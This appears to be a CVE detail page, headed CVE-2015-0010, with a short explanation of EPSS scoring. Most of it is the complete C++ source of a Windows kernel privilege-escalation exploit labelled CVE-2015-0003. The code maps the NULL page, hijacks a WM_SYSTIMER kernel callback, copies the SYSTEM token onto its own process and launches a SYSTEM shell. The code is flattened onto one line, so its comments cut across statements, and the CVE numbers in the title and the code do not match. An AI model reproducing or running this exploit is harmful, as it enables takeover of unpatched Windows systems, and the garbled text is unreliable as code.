CVE-2015-0010 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// ex.cpp /* Windows XP/2K3/VISTA/2K8/7 WM_SYSTIMER Kernel EoP CVE-2015-0003 March 2015 (Public Release: May 24, 2015) Tested on: x86: Win 7 SP1 | Win 2k3 SP2 | Win XP SP3 x64: Win 2k8 SP1 | Win 2k8 R2 SP1 Author: Skylake - skylake <at> mail <dot> com */ #include "ex.h" _ZwAllocateVirtualMemory ZwAllocateVirtualMemory; _PsLookupProcessByProcessId PsLookupProcessByProcessId; _PsReferencePrimaryToken PsReferencePrimaryToken; DWORD Pid; ATOM atom; BOOL KrnlMode, bSpawned; DWORD_PTR WINAPI pti() { #ifdef _M_X64 LPBYTE p = ( LPBYTE ) __readgsqword( 0x30 ); return ( DWORD_PTR ) *( ( PDWORD_PTR ) ( p + 0x78 ) ); #else LPBYTE p = ( LPBYTE ) __readfsdword( 0x18 ); return ( DWORD_PTR ) *( ( PDWORD_PTR ) ( p + 0x40 ) ); #endif } BOOL find_and_replace_member( PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize ) { DWORD_PTR dwIndex, dwMask; #ifdef _M_X64 dwMask = ~0xf; #else dwMask = ~7; #endif // dwCurrentValue &= dwMask; for( dwIndex = 0; dwIndex < dwMaxSize; dwIndex++ ) { if( ( pdwStructure[dwIndex] & dwMask ) == dwCurrentValue ) { // pdwStructure[dwIndex] = dwNewValue; return TRUE; } } return FALSE; } BOOL WINAPI Init() { HMODULE hMod = NULL; PVOID Base = NULL; OSVERSIONINFO ov = { sizeof( OSVERSIONINFO ) }; PSYSTEM_MODULE_INFORMATION pm = NULL; BOOL RetVal = FALSE; __try { if( !GetVersionEx( &ov ) ) __leave; if( ov.dwMajorVersion == 5 && ov.dwMinorVersion > 0 ) { atom = 0xc039; } else if( ov.dwMajorVersion == 6 && ov.dwMinorVersion < 2 ) { atom = ( ov.dwMinorVersion == 1 ) ? 0xc03c : 0xc03a; } if( !atom ) __leave; _ZwQuerySystemInformation ZwQuerySystemInformation = ( _ZwQuerySystemInformation ) GetProcAddress( GetModuleHandle( TEXT( "ntdll.dll" ) ), "ZwQuerySystemInformation" ); if( !ZwQuerySystemInformation ) __leave; ZwAllocateVirtualMemory = ( _ZwAllocateVirtualMemory ) GetProcAddress( GetModuleHandle( TEXT( "ntdll.dll" ) ), "ZwAllocateVirtualMemory" ); if( !ZwAllocateVirtualMemory ) __leave; ULONG len; LONG status = ZwQuerySystemInformation( SystemModuleInformation, NULL, 0, &len ); if( !status ) __leave; pm = ( PSYSTEM_MODULE_INFORMATION ) LocalAlloc( LMEM_ZEROINIT, len ); if( !pm ) __leave; status = ZwQuerySystemInformation( SystemModuleInformation, pm, len, &len ); if( status ) __leave; CHAR szKrnl[MAX_PATH] = { 0 }, *t; for( ULONG i = 0; i < pm->Count; ++i ) { if( strstr( pm->Module[i].ImageName, "exe" ) ) { t = strstr( pm->Module[i].ImageName, "nt" ); if( t ) { strcpy_s( szKrnl, _countof( szKrnl ) - 1, t ); Base = pm->Module[i].Base; break; } } } hMod = LoadLibraryA( szKrnl ); if( !hMod || !Base ) __leave; PsLookupProcessByProcessId = ( _PsLookupProcessByProcessId ) GetProcAddress( hMod, "PsLookupProcessByProcessId" ); if( !PsLookupProcessByProcessId ) __leave; PsLookupProcessByProcessId = ( _PsLookupProcessByProcessId ) ( ( DWORD_PTR ) Base + ( ( DWORD_PTR ) PsLookupProcessByProcessId - ( DWORD_PTR ) hMod ) ); PsReferencePrimaryToken = ( _PsReferencePrimaryToken ) GetProcAddress( hMod, "PsReferencePrimaryToken" ); if( !PsReferencePrimaryToken ) __leave; PsReferencePrimaryToken = ( _PsReferencePrimaryToken ) ( ( DWORD_PTR ) Base + ( ( DWORD_PTR ) PsReferencePrimaryToken - ( DWORD_PTR ) hMod ) ); Pid = GetCurrentProcessId(); RetVal = TRUE; } __finally { if( pm ) LocalFree( pm ); if( hMod ) FreeLibrary( hMod ); } return RetVal; } LRESULT CALLBACK ShellCode( HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam ) { LPVOID pCurProcess = NULL; LPVOID pSystemInfo = NULL; PACCESS_TOKEN systemToken; PACCESS_TOKEN targetToken; PsLookupProcessByProcessId( ( HANDLE ) Pid, &pCurProcess ); PsLookupProcessByProcessId( ( HANDLE ) 4, &pSystemInfo ); targetToken = PsReferencePrimaryToken( pCurProcess ); systemToken = PsReferencePrimaryToken( pSystemInfo ); // find_and_replace_member( ( PDWORD_PTR ) pCurProcess, ( DWORD_PTR ) targetToken, ( DWORD_PTR ) systemToken, 0x200 ); KrnlMode = TRUE; return 0; } VOID WINAPI leave() { keybd_event( VK_ESCAPE, 0, 0, NULL ); keybd_event( VK_ESCAPE, 0, KEYEVENTF_KEYUP, NULL ); keybd_event( VK_LWIN, 0, KEYEVENTF_KEYUP, NULL ); } LRESULT CALLBACK WndProc( HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam ) { if( bSpawned ) { leave(); ExitProcess( 0 ); } switch( message ) { case WM_CREATE: SetTimer( hWnd, ID_TIMER, 1000 * 3, NULL ); FlashWindow( hWnd, TRUE ); keybd_event( VK_LWIN, 0, 0, NULL ); break; case WM_CLOSE: DestroyWindow( hWnd ); break; case WM_DESTROY: PostQuitMessage( 0 ); break; case WM_TIMER: KillTimer( hWnd, ID_TIMER ); leave(); DestroyWindow( hWnd ); break; default: return DefWindowProc( hWnd, message, wParam, lParam ); } return 0; } int APIENTRY _tWinMain( _In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPTSTR lpCmdLine, _In_ int nCmdShow ) { WNDCLASSEX wc = { sizeof( WNDCLASSEX ) }; HWND hWnd = NULL; MSG Msg = { 0 }; SIZE_T size = 0x1000; LPVOID addr = ( LPVOID ) 1; if( !Init() ) return 1; if( ZwAllocateVirtualMemory( ( HANDLE ) -1, &addr, 0, &size, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE ) ) { // return 1; } DWORD_PTR p = pti(); if( !p ) return 1; #ifdef _M_X64 *( ( PDWORD_PTR ) 0x10 ) = p; *( ( LPBYTE ) 0x2a ) = 4; *( ( LPVOID* ) 0x90 ) = ( LPVOID ) ShellCode; *( ( PDWORD_PTR ) 0xa8 ) = 0x400; *( ( LPDWORD ) 0x404 ) = 1; *( ( PDWORD_PTR ) 0x408 ) = 0x800; *( ( LPWORD ) 0x410 ) = atom; *( ( LPBYTE ) 0x412 ) = 1; #else *( ( LPDWORD ) 0x08 ) = p; *( ( LPBYTE ) 0x16 ) = 4; *( ( LPVOID* ) 0x60 ) = ( LPVOID ) ShellCode; *( ( LPDWORD ) 0x6c ) = 0x400; *( ( LPDWORD ) 0x404 ) = 1; *( ( LPDWORD ) 0x408 ) = 0x800; *( ( LPWORD ) 0x40c ) = atom; *( ( LPBYTE ) 0x40e ) = 1; #endif wc.lpfnWndProc = WndProc; wc.hInstance = hInstance; wc.lpszClassName = TEXT( "Class" ); if( !RegisterClassEx( &wc ) ) return 1; hWnd = CreateWindowEx( WS_EX_CLIENTEDGE, TEXT( "Class" ), TEXT( "Window" ), WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 200, 100, NULL, NULL, hInstance, NULL ); if( !hWnd ) return 1; ShowWindow( hWnd, SW_HIDE ); UpdateWindow( hWnd ); while( GetMessage( &Msg, NULL, 0, 0 ) ) { if ( Msg.message == WM_SYSTIMER ) // Borrowed from http://blog.beyondtrust.com/fuzzing-for-ms15-010 { if( !KrnlMode ) { Msg.hwnd = ( HWND ) NULL; } else { Msg.hwnd = hWnd; if( !bSpawned ) { ShellExecute( NULL, TEXT( "open" ), TEXT( "cmd.exe" ), NULL, NULL, SW_SHOW ); bSpawned = TRUE; } } } TranslateMessage( &Msg ); DispatchMessage( &Msg ); } return ( int ) Msg.wParam; } // EOF //ex.h #pragma once #include <windows.h> #include <stdio.h> #include <tchar.h> typedef NTSTATUS ( WINAPI *_ZwAllocateVirtualMemory ) ( _In_ HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _In_ ULONG_PTR ZeroBits, _Inout_ PSIZE_T RegionSize, _In_ ULONG AllocationType, _In_ ULONG Protect ); typedef NTSTATUS ( WINAPI *_PsLookupProcessByProcessId ) ( _In_ HANDLE ProcessId, _Out_ PVOID *Process ); typedef PACCESS_TOKEN ( WINAPI *_PsReferencePrimaryToken ) ( _Inout_ PVOID Process ); typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation = 0, SystemModuleInformation = 11 } SYSTEM_INFORMATION_CLASS; typedef NTSTATUS ( WINAPI *_ZwQuerySystemInformation ) ( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength ); typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { HANDLE Section; PVOID MappedBase; PVOID Base; ULONG Size; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT PathLength; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; #define ID_TIMER 0x1 #define WM_SYSTIMER 0x118 // EOF